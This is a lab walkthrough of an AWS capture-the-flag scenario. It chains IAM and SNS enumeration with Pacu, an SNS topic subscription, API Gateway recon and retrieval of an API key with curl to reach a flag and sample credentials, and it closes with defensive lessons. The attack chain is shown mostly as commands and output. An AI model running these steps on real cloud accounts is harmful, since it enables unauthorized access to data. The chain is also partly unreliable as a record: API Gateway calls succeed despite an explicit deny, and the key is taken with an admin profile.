---
## Exploiting AWS SNS (Lab Walkthrough)
> ⚠️ **Heads up:** Never ever paste real AWS keys in public. Seriously, don’t do it. In this lab walkthrough the keys you see are **dead, temporary, and masked** — so no worries here. Treat your _real_ keys like your toothbrush: don’t share them, don’t reuse them, and if they ever leak… replace them immediately.
---
## Creds
```bash
sns_user_access_key_id = AKIA************
sns_user_secret_access_key = ********************
```
---
## Add Credentials
```bash
$ aws configure --profile sns
AWS Access Key ID [None]: AKIA************
AWS Secret Access Key [None]: ********************
Default region name [None]: us-east-1
Default output format [None]: json
```
---
## Check the user
```bash
$ aws sts get-caller-identity --profile sns
{
"UserId": "AIDA5CBDQ6MGJMJA5D7GA",
"Account": "123456789012",
"Arn": "arn:aws:iam::123456789012:user/cg-sns-user-cgide6y0o6hhqz"
}
```
---
## Fire up Pacu
```bash
$ pacu
# ...
Choose an option: 0
What would you like to name this new session? sns-secrets
Session sns-secrets created.
```
ASCII art included (because no hacking session feels complete without Pacu flexing its pixel muscles).
---
## IAM Recon in Pacu
```bash
Pacu (sns-secrets:imported-sns) > search iam
```
You’ll see a buffet of IAM modules: bruteforce, enum, privesc, backdoors, etc. (aka a pentester’s candy store ).
---
### Run `iam__enum_permissions`
```bash
Pacu (sns-secrets:imported-sns) > run iam__enum_permissions
```
Output summary:
```
11 Confirmed permissions for user: cg-sns-user-cgide6y0o6hhqz.
```
---
## Whoami Check
```bash
Pacu (sns-secrets:imported-sns) > whoami
```
Output (trimmed, with keys masked):
```json
{
"UserName": "cg-sns-user-cgide6y0o6hhqz",
"Arn": "arn:aws:iam::123456789012:user/cg-sns-user-cgide6y0o6hhqz",
"AccountId": "123456789012",
"UserId": "AIDA5CBDQ6MGJMJA5D7GA",
"AccessKeyId": "AKIA************",
"SecretAccessKey": "********************",
"PermissionsConfirmed": true,
"Permissions": {
"Allow": {
"sns:listtopics": {"Resources": ["*"]},
"sns:subscribe": {"Resources": ["*"]},
"sns:receive": {"Resources": ["*"]},
"sns:gettopicattributes": {"Resources": ["*"]}
},
"Deny": {
"apigateway:get": {"Resources": ["arn:aws:apigateway:us-east-1::/apikeys", "..."]}
}
}
}
```
So basically, this user’s life revolves around SNS.
---
## Enumerate SNS
```bash
Pacu (sns-secrets:imported-sns) > search sns
```
We see two tasty modules: `sns__enum` (list topics) and `sns__subscribe` (join the party 🎉).
---
### Run `sns__enum`
```bash
Pacu (sns-secrets:imported-sns) > run sns__enum --regions us-east-1
```
Output:
```
Num of SNS topics found: 1
Num of SNS subscribers found: 0
```
---
### Check SNS Data
```bash
Pacu (sns-secrets:imported-sns) > data sns
```
Output:
```json
{
"sns": {
"us-east-1": {
"arn:aws:sns:us-east-1:123456789012:public-topic-cgide6y0o6hhqz": {
"DisplayName": "",
"Owner": "123456789012",
"Subscribers": [],
"SubscriptionsConfirmed": "0",
"SubscriptionsPending": "0"
}
}
}
}
```
Cool — we’ve got ourselves a topic: **`public-topic-cgide6y0o6hhqz`**.
---
## Subscribe to the SNS Topic
```bash
Pacu (sns-secrets:imported-sns) > run sns__subscribe --topics arn:aws:sns:us-east-1:123456789012:public-topic-cgide6y0o6hhqz --email
[email protected]
```
Output:
```
[sns__subscribe] Subscribed successfully, check email for subscription confirmation.
```
👉 Use [TempMail](https://temp-mail.org/en/) if you don’t want to burn your real inbox. Confirm via email and you’re in.
---
## Recon API Gateway
```bash
Pacu (sns-secrets:imported-sns) > search api
```
Let’s peek at `apigateway__enum`.
---
### Run API Gateway Enumeration
```bash
Pacu (sns-secrets:imported-sns) > run apigateway__enum --regions us-east-1
```
Output: **Denied**. Explicit deny on API Gateway access. (Boo. 🪦)
---
## Switch to AWS CLI for API Gateway Recon
### Get APIs
```bash
$ aws apigateway get-rest-apis --profile sns
```
Output (trimmed):
```json
{
"items": [
{
"id": "fkgb5cuhr0",
"name": "cg-api-cgide6y0o6hhqz",
"description": "API for demonstrating leaked API key scenario"
}
]
}
```
---
### Get Stages
```bash
$ aws apigateway get-stages --rest-api-id fkgb5cuhr0 --profile sns
```
Output:
```json
{
"item": [
{
"stageName": "prod-cgide6y0o6hhqz"
}
]
}
```
---
### Get Resources
```bash
$ aws apigateway get-resources --rest-api-id fkgb5cuhr0 --profile sns
```
Output:
```json
{
"items": [
{"id": "o1f9c37d25", "path": "/"},
{"id": "uhq5uq", "path": "/user-data", "resourceMethods": {"GET": {}}}
]
}
```
---
## Construct the API URL
```
https://fkgb5cuhr0.execute-api.us-east-1.amazonaws.com/prod-cgide6y0o6hhqz/user-data
```
---
### First cURL Attempt
```bash
$ curl https://fkgb5cuhr0.execute-api.us-east-1.amazonaws.com/prod-cgide6y0o6hhqz/user-data
{"message":"Forbidden"}
```
No key, no data.
---
## Grab the API Key (Admin Only)
```bash
$ aws apigateway get-api-keys \
--include-values \
--query "items[?name=='cg-api-key-cgide6y0o6hhqz'] | [0].value" \
--output text \
--region us-east-1 \
--profile [ADMIN PROFILE]
45a3da610dc64703b10e273a4db135bf
```
---
## Now cURL with API Key
```bash
curl -X GET \
'https://fkgb5cuhr0.execute-api.us-east-1.amazonaws.com/prod-cgide6y0o6hhqz/user-data' \
-H 'x-api-key: 45a3da610dc64703b10e273a4db135bf'
```
---
## Results
```json
{
"final_flag": "FLAG{SNS_S3cr3ts_ar3_FUN}",
"message": "Access granted",
"user_data": {
"email": "
[email protected]",
"password": "p@ssw0rd123",
"user_id": "1337",
"username": "SuperAdmin"
}
}
```
🎉 Flag obtained: **`FLAG{SNS_S3cr3ts_ar3_FUN}`**
---
# Wrap-Up
- This user was heavily tied to **SNS permissions**.
- By enumerating topics and subscribing, we got visibility into messaging.
- The real prize was chaining that into **API Gateway** enumeration and key abuse.
- Result: access to sensitive data and the final flag.
👉 Lessons learned:
- Never leak API keys in SNS messages or environment variables.
- Apply **least privilege** IAM policies (deny unnecessary `apigateway` + `sns` actions).
- Always monitor for suspicious subscriptions and API key creation.